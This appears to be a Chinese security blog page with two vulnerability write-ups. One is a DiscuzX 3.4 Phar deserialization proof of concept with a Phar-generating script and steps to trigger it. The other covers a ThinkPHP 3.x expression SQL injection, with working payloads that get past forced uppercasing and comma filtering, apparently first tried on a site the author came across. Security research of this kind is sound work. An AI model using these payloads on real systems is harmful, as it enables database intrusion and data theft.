2019年1月

DiscuzX 3.4 Phar反序列化漏洞

0x1 前情提要

DiscuzX的反序列化比较鸡肋,没有任何可利用的点,只能算一个bug。

刚看到一片文章,就是在对phar文件进行操作的时候可以导致反序列化,然后我就对php内置函数进行了测试,发现80%的常用文件操作都能导致触发phar的反序列化,我一共测试了如下函数,都可以触发。


var_dump(file_get_contents('phar://payload.phar'));

var_dump(file_put_contents('phar://payload.phar'));

var_dump(readfile('phar://payload.phar'));

var_dump(is_file('phar://payload.phar'));

var_dump(filesize('phar://payload.phar'));

var_dump(file_exists('phar://payload.phar'));

var_dump(is_readable('phar://payload.phar'));

var_dump(file('phar://payload.phar'));

var_dump(filectime('phar://payload.phar'));

var_dump(filegroup('phar://payload.phar'));

var_dump(fileinode('phar://payload.phar'));

var_dump(filemtime('phar://payload.phar'));

var_dump(fileowner('phar://payload.phar'));

var_dump(fileperms('phar://payload.phar'));

var_dump(filetype('phar://payload.phar'));

var_dump(is_link('phar://payload.phar'));

var_dump(is_writable('phar://payload.phar'));

var_dump(is_writeable('phar://payload.phar'));

var_dump(lstat('phar://payload.phar'));

下面我就下了discuz的代码看看有没有什么能触发反序列化的点,还真给我找到了。

0x2 漏洞分析

/source/module/forum/forum_attachment.php

...
//如果是图片并且是缩略图
if(empty($_GET['nothumb']) && $attach['isimage'] && $attach['thumb']) {
    $db = DB::object();
    $db->close();
    !$_G['config']['output']['gzip'] && ob_end_clean();
    dheader('Content-Disposition: inline; filename='.getimgthumbname($attach['filename']));
    dheader('Content-Type: image/pjpeg');
    //需要是远程附件
    if($attach['remote']) {
        $_G['setting']['ftp']['hideurl'] ? getremotefile(getimgthumbname($attach['attachment'])) : dheader('location:'.$_G['setting']['ftp']['attachurl'].'forum/'.getimgthumbname($attach['attachment']));
    } else {
        getlocalfile($_G['setting']['attachdir'].'/forum/'.getimgthumbname($attach['attachment']));
    }
    exit();
}

...

function getremotefile($file) {
    global $_G;
    @set_time_limit(0);
    //这边的readfile的 attachurl 是通过后台配置的
    if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) { 
        $ftp = ftpcmd('object');
        $tmpfile = @tempnam($_G['setting']['attachdir'], '');
        if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
            @readfile($tmpfile);
            @unlink($tmpfile);
        } else {
            @unlink($tmpfile);
            return FALSE;
        }
    }
    return TRUE;
}
...

0x3 漏洞测试

登陆后台配置远程附件并开启隐藏真实路径


还需要开启附件缩略图功能

满足以上条件即可测试,在前台发帖并上传一个大于400*400的图片附件,注意是附件不是图片。

上传完成之后发帖会得到上图这样的链接

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D&nothumb=yes

这个时候需要把nothumb=yes去掉,访问

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D

我为了方便测试,输出了url信息

function getremotefile($file) {
    global $_G;
    @set_time_limit(0);
    echo $_G['setting']['ftp']['attachurl'].'forum/'.$file;
    die();

可以看到前面的2222正是我们设置的路径

然后利用以下脚本生成一个phar包,

<?php
ini_set ( 'phar.readonly' , 'Off' );
class payload{
    public $info="pwn";
}
$phar=new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();");
$pd=new payload();
$phar->setMetadata($pd);
$phar->addFromString("t.txt","");
$phar->stopBuffering();

payload 类是我自己写的为了方便测试
我在/source/module/forum/forum_attachment.php加了一个payload类,测试看看有没有执行成功。

然后通过运营-》站点广告-
添加一个新的广告,把之前生成的phar修改成jpg上传上去,并拿到路径

http://192.168.50.154/u/upload/data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg
提取出
data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg

然后再打开远程附件,修改远程访问url为

phar://data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg/


再访问之前的url

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D


你会发现反序列化已经触发了,下面离getshell只差一个好利用的点了。

参考
从php反序列化到phar文件
HITCON 2017 Babyh-master-php-2017 分析及复现

ThinkPHP 3.x 表达式注入绕过强制大写

最近遇到一个thinkphp3的站,他用的tp版本比较低,正好存在很久以前的表达式注入
https://wystatic.tuisec.win/static/bugs/wooyun-2014-087731.html
但是通过分析注入发现,他会把表达式的内容进行了大写,所以导致linux的mysql因为某些情况下表名会敏感大小写,所以导致不能读取表的内容,
这是一个支持联合查询的注入点,通过注入发现,他会把输入的内容全部转换成大写
-w1062
下面看一下老版本的代码

 protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                ...
                }elseif('bind'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }
             ...
        return $whereStr;
    }

通过上面的代码发现,正常的payload是这样的

order_no[]=in ('1')  and 1=2 union select 1 from admin#&order_no[]=2  

假设查询语句如下

select 1 from user where order_no=1

通过正常的payload去注入会变成如下内容

select 1 from user where table in (1) AND 1=2 UNION SELECT 1 FROM ADMIN#'2' 

如果我们去查询一个正常的表名admin,会被强制转换成大写,这样如果是配置了大小写敏感或默认linux下mysql的配置就会出现表名不存在的错误
-w438

通过分析代码发现
然后通过这样的payload即可成功注入并绕过强制大写

order_no[0]=in (1)/*&order_no[1]=*/and 1=1 and (select 1 from admin limit 1)#

这样执行的sql语句就会变成

select 1 from user where table in (1)/* '*/and 1=1 and (select 1 from admin limit 1)#'

这样就不在表达式的参数里面去执行sql,绕过了强制大写。

其实理论上来说

elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }

如果val[2]=='exp'就直接吧val[1]传递到sql语句中了,并没有经过parseValue的转义.

order_no[0]=in&order_no[1]=sqli&order_no[2]=exp

但是我遇到的环境测试不通过,可能是版本问题。

然后因为存在[,] 会因为是in所以会被implode,所以需要绕过逗号进行联合查询

union select * from ((select 1)A join (select 2)B join (select 3)C);